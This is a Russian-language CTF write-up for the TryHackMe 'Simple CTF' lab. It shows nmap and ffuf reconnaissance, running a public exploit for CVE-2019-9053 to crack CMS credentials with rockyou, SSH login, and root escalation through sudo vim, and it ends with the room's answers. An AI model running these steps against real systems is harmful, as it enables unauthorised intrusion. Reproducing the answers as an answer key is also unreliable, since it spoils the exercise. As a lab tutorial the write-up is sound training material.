Пост

TryHackMe - Simple CTF

Простой, но не такой уж лёгкий

TryHackMe - Simple CTF

Введение

Это задание позиционируется как CTF для новичков, так что давайте посмотрим.

В целом он был довольно простой, просто я немного застрял в процессе.

Tryhackme Room Link

Nmap

Начнём со сканирования nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.112.164
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.75.122
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Открытые порты: 21/tcp 80/tcp 2222/tcp

Разведка

Давайте проверим директории и файлы

1
2
3
4
5
6
7
8
9
10
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.112.164/FUZZ" -fl 124
                        [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
.htpasswd               [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 45ms]
.hta                    [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 45ms]
.htaccess               [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 3456ms]
index.html              [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
robots.txt              [Status: 200, Size: 929, Words: 176, Lines: 33, Duration: 45ms]
server-status           [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 43ms]
simple                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 956 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

Ок, можем проверить простую подп страницу, которая, похоже, является Simple CMS.

Так как комната сразу направляет нас к SQL‑инъекции, я загуглил возможные CVE и нашёл CVE-2019-9053.

Скачаем эксплойт с exploit-db.

Используем эксплойт против CMS‑сайта и можем забрутфорсить учётные данные:

1
python3 46635.py -u http://10.10.112.164 --crack -w /usr/share/wordlists/rockyou.txt

И в итоге получаем креды:

1
2
Username: mitch
Password: <CENSORED>

User Flag

Теперь можем залогиниться, используя полученные учётные данные

1
2
3
ssh mitch@10.10.112.164
cat user.txt
<CENSORED>

Повышение привилегий

Сначала получаем нормальный интерактивный shell, затем проверяем, можем ли мы запускать что‑нибудь через sudo:

1
2
3
4
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Окей, значит мы можем запускать vim от имени root.

1
sudo vim

Откроется новое окно — просто спавним себе root‑shell и нажимаем Enter.

Vim

Vim

Root Flag

Root Flag

И мы забыли ответить на вопросы:

Сколько сервисов запущено на портах ниже 1000?

Ответ:

1
2

Что работает на самом высоком порту?

Ответ:

1
ssh

Какой CVE используется против приложения?

Ответ:

1
CVE-2019-9053

К какому типу уязвимости относится приложение?

Ответ:

1
sqli

Какой пароль?

Ответ:

1
<CENSORED>

Где можно войти, используя полученные данные?

Ответ:

1
ssh

Какой user flag?

Ответ:

1
<CENSORED>

Есть ли другой пользователь в домашнем каталоге? Как его зовут?

Ответ:

1
sunbath

Что можно использовать для получения привилегированного shell?

Ответ:

1
vim

Какой root flag?

Ответ:

1
<CENSORED>
Авторский пост защищен лицензией CC BY 4.0 .